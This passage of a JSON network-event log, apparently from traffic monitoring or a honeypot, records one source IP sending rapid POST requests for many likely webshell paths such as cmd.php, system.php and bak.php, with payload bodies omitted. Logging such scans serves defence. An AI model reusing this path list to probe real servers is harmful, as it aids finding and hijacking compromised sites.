            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/webslee.php",
            "http.response_in": "1139",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/webslee.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f56f8ba3acbd0e617ab28f1e",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "91eb3ebce7c320b2150ecffc367a0f13ca2481538198d0bb667632a1212c9293",
          "frame_number": 1138,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255828.301876000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/q.php",
            "http.response_in": "1148",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/q.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b1aefe7ec6aa8d16a26b04db",
          "src_port": 53874,
          "tcp_stream": 32,
          "udp_stream": null,
          "body_sha256": "8bb36493ae8a1f0879bb84e20c4c2fc8a4737be858fcbe80390dcafe84706bef",
          "frame_number": 1146,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255831.430593000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pe.php",
            "http.response_in": "1158",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pe.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-15b4166288df518cbde12137",
          "src_port": 53988,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1156,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255831.999353000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hm.php",
            "http.response_in": "1161",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hm.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b3a218ca182890d34475d5c1",
          "src_port": 53988,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2",
          "frame_number": 1160,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255832.257399000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sz.php",
            "http.response_in": "1164",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-81fe0c362269ffecb5e6be3f",
          "src_port": 53988,
          "tcp_stream": 33,
          "udp_stream": null,
          "body_sha256": "244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2",
          "frame_number": 1163,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255832.619109000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cainiao.php",
            "http.response_in": "1175",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cainiao.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fcdfbba4a4a05fbd9ba634d3",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "5a45c5592a0b247efa23bb97e6a30fd7c9b516478faf22583c3c12ce8cb2b63c",
          "frame_number": 1173,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577255858.374202000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuoshou.php",
            "http.response_in": "1178",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuoshou.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e0f9feee76eae640eb64bc64",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1177,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255858.932731000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zuo.php",
            "http.response_in": "1181",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zuo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-94136dfbe2a0497a48e7a6a8",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
          "frame_number": 1180,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255859.934586000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aotu.php",
            "http.response_in": "1184",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aotu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-df0d20b7edbdabe30e3a939f",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "99076c799f20345cadcd16f06a00c3d763b4b199ef28f0454856bd2520578263",
          "frame_number": 1183,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255863.983664000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aotu7.php",
            "http.response_in": "1187",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aotu7.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e4f72b08e110b13264f1c563",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "99076c799f20345cadcd16f06a00c3d763b4b199ef28f0454856bd2520578263",
          "frame_number": 1186,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255864.247618000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cmd.php",
            "http.response_in": "1190",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cmd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4026a9b8803b06893dc25dda",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1189,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255864.511403000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cmd.php",
            "http.response_in": "1193",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cmd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b26a511f8d326e8103de0ea6",
          "src_port": 54899,
          "tcp_stream": 34,
          "udp_stream": null,
          "body_sha256": "52f2375e9e406350794211299e6da748359401606995e965fdc62f0ce45fefbc",
          "frame_number": 1192,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255864.775178000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bak.php",
            "http.response_in": "1204",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bak.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2f04f37b89149f48af33e999",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1202,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255870.473468000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/system.php",
            "http.response_in": "1207",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/system.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-775e1aba5542bbfec126907c",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1206,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255872.119861000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/l6.php",
            "http.response_in": "1210",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/l6.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4b418d4ca3e7a5a49cf8537d",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97",
          "frame_number": 1209,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255873.714277000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/l7.php",
            "http.response_in": "1213",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/l7.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8138f16551a0d3435e7ad4fb",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97",
          "frame_number": 1212,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255874.003543000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/l8.php",
            "http.response_in": "1216",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/l8.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a1e69aa9830cce74060e07e6",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "e85e98b76eff35f6f764c4f87aaaad9aef7b8c330289656a0e290a67ae25c265",
          "frame_number": 1215,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255874.277267000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/q.php",
            "http.response_in": "1219",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/q.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2459223760f86b305975c1cf",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "frame_number": 1218,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255876.668859000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/56.php",
            "http.response_in": "1222",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/56.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d898dc1702e1f44734d3700f",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1221,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255876.935594000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mz.php",
            "http.response_in": "1226",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-173c979d796d31a428e260e1",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "a899107f2aeb1173d0ca1f5c56a67df994e9dc8e2b38d14abca67e7cabaac2d8",
          "frame_number": 1224,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255878.400872000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/yumo.php",
            "http.response_in": "1229",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/yumo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2ad5f59afb9be4e0c3fc093d",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "3ca4a88819724de1c262999827fc52028fe4879b08d51bb57067fee192caab43",
          "frame_number": 1228,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255880.695199000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/min.php",
            "http.response_in": "1232",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/min.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-80b95af5c08334933ade634b",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055",
          "frame_number": 1231,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255885.584540000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wan.php",
            "http.response_in": "1235",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wan.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-67df137aee8c95f97e84a67c",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055",
          "frame_number": 1234,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255885.851446000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wanan.php",
            "http.response_in": "1238",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wanan.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7dd36810d4a11d5e68e0fbb7",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055",
          "frame_number": 1237,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255886.133808000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ssaa.php",
            "http.response_in": "1241",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ssaa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-08ba6871cd0e3caa3790a7c4",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "frame_number": 1240,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255886.435732000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ssaa.php",
            "http.response_in": "1244",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ssaa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e5109c07ba7104d9c05a4a4f",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2",
          "frame_number": 1243,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255886.702643000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "1247",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e29ab5fef0905a4d73567707",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6",
          "frame_number": 1246,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255886.969399000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aw.php",
            "http.response_in": "1250",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aw.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2d11c18b52ff6711b682c819",
          "src_port": 58703,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "f0ec8b0238af53aa86c9cba9f94ce4c4d93e4e4b26a4b8478b9d04b909ccf900",
          "frame_number": 1249,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255887.236182000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/12.php",
            "http.response_in": "1252",
